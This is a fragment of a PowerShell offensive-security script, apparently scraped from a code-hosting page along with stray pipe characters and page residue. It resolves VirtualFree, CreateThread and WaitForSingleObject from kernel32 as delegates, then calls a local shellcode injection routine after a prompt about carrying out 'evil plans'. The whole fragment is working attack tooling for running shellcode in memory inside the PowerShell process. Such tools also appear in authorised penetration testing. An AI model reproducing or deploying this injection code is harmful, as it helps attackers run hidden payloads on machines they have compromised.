$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
||||
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
||||
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
||||
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
||||
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
||||
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
||||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PowerShell"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode into the running PowerShell process!" ) )
|
||||
{
|
||||
Inject-LocalShellcode
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user